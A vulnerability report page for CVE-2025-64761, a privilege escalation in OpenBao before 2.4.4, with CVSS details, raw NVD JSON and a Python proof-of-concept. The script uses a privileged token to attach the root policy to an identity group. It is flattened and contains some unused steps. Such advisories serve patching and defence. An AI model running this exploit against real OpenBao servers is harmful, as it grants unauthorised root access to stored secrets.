Security Vulnerability Report
中文
CVE-2025-64761 CVSS 7.2 HIGH

CVE-2025-64761

Published: 2025-11-25 01:15:46
Last Modified: 2025-12-01 15:44:39

Description

OpenBao is an open source identity-based secrets management system. Prior to version 2.4.4, a privileged operator could use the identity group subsystem to add a root policy to a group identity group, escalating their or another user's permissions in the system. Specifically this is an issue when: an operator in the root namespace has access to identity/groups endpoints and an operator does not have policy access. Otherwise, an operator with policy access could create or modify an existing policy to grant root-equivalent permissions through the sudo capability. This issue has been patched in version 2.4.4.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openbao:openbao:*:*:*:*:*:*:*:* - VULNERABLE
OpenBao < 2.4.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64761 PoC - OpenBao Privilege Escalation via Identity Groups # Note: Requires high privileges and access to identity/groups endpoint import requests import json TARGET_URL = "http://target-openbao:8200" TOKEN = "high-privilege-token" # Requires token with identity/groups access def privilege_escalation_poc(): """ PoC for CVE-2025-64761: OpenBao Identity Group Privilege Escalation This demonstrates how a privileged operator can add root policy to escalate privileges. """ headers = { "X-Vault-Token": TOKEN, "Content-Type": "application/json" } # Step 1: Get existing group ID groups_response = requests.get( f"{TARGET_URL}/v1/identity/group/id", headers=headers ) if groups_response.status_code != 200: print(f"[-] Failed to access identity/groups endpoint: {groups_response.status_code}") return False groups = groups_response.json().get("data", {}).get("keys", []) if not groups: print("[-] No groups found") return False group_id = groups[0] print(f"[+] Found group ID: {group_id}") # Step 2: Read current group configuration group_info = requests.get( f"{TARGET_URL}/v1/identity/group/id/{group_id}", headers=headers ).json() # Step 3: Add root policy to group (PRIVILEGE ESCALATION) root_policy = '''path "*" { capabilities = ["create", "read", "update", "delete", "list", "sudo"] } ''' payload = { "policies": ["root"], # Adding root policy "type": "internal" } update_response = requests.post( f"{TARGET_URL}/v1/identity/group/id/{group_id}", headers=headers, json=payload ) if update_response.status_code in [200, 204]: print("[+] SUCCESS: Root policy added to group - Privilege Escalation achieved!") print("[+] Attacker can now access all system resources with root privileges") return True else: print(f"[-] Exploitation failed: {update_response.status_code}") return False if __name__ == "__main__": print("CVE-2025-64761 PoC - OpenBao Privilege Escalation") print("=" * 50) privilege_escalation_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64761", "sourceIdentifier": "[email protected]", "published": "2025-11-25T01:15:46.460", "lastModified": "2025-12-01T15:44:38.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenBao is an open source identity-based secrets management system. Prior to version 2.4.4, a privileged operator could use the identity group subsystem to add a root policy to a group identity group, escalating their or another user's permissions in the system. Specifically this is an issue when: an operator in the root namespace has access to identity/groups endpoints and an operator does not have policy access. Otherwise, an operator with policy access could create or modify an existing policy to grant root-equivalent permissions through the sudo capability. This issue has been patched in version 2.4.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbao:openbao:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.4", "matchCriteriaId": "43231193-99C9-4039-B879-3C17645870D1"}]}]}], "references": [{"url": "https://github.com/openbao/openbao/commit/16bb0ccd37a502930a289d434cbe4e7b4edd66e5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openbao/openbao/pull/2143", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openbao/openbao/security/advisories/GHSA-7ff4-jw48-3436", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}